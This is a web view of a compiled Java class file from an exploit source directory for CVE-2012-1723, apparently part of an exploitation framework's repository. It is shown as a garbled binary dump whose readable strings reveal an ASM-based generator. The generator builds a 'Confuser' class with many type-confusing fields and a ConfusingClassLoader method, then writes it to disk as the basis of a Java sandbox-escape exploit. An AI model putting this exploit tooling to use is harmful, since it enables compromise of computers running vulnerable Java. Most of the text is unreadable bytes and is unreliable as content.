Path: blob/master/external/source/exploits/CVE-2012-1723/lib/cve1723/Generator.class
32598 views
���� 1
+ 8 9
: ; <
= > ?
@
A B C
8 D
E
F
G H , -
I
J K
J L
J M
J N
J O
J B P Q R
8
J S
J T
J U
B
V
* W X Y
% Z
% [
% \ ] < <init> ()V Code LineNumberTable generateConfusion ()[B main ([Ljava/lang/String;)V
Exceptions ^
SourceFile Generator.java , - org/objectweb/asm/ClassWriter , _ cve1723/Confuser java/lang/Object ` a staticTypeA Ljava/lang/ClassLoader; b c d e - java/lang/StringBuilder
instanceTypeB f g f h i j Lcve1723/ConfusingClassLoader; k l m n - o p q r s _ t p confuse 7(Ljava/lang/ClassLoader;)Lcve1723/ConfusingClassLoader; org/objectweb/asm/Label u v w x y r z 1 0 1 java/io/FileOutputStream Confuser.class , { | } ~ - cve1723/Generator java/lang/Exception (I)V visit N(IILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
visitField k(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)Lorg/objectweb/asm/FieldVisitor; org/objectweb/asm/FieldVisitor visitEnd append -(Ljava/lang/String;)Ljava/lang/StringBuilder; (I)Ljava/lang/StringBuilder; toString ()Ljava/lang/String; visitMethod m(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)Lorg/objectweb/asm/MethodVisitor; org/objectweb/asm/MethodVisitor visitCode visitVarInsn (II)V visitMethodInsn :(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V visitInsn visitMaxs
visitJumpInsn (ILorg/objectweb/asm/Label;)V
visitLabel (Lorg/objectweb/asm/Label;)V visitFieldInsn toByteArray (Ljava/lang/String;)V write ([B)V close ! * + , - . *� � / 0 1 . � » Y� :::1!� � :�
6 d� .� Y�
� � � � :�
� ���� :� � �� �� � � � :� � � Y� : � � � �� � �� !W� � � �� !6
d� {� �� Y�
�
� � � !� Y� : �� � �� Y�
�
� � � ! �� � �
���� �� � � � "� #� / � .
$ . % 3 * = + ] , b * h 2 v 3 { 4 � 5 � 6 � 7 � 8 � = � >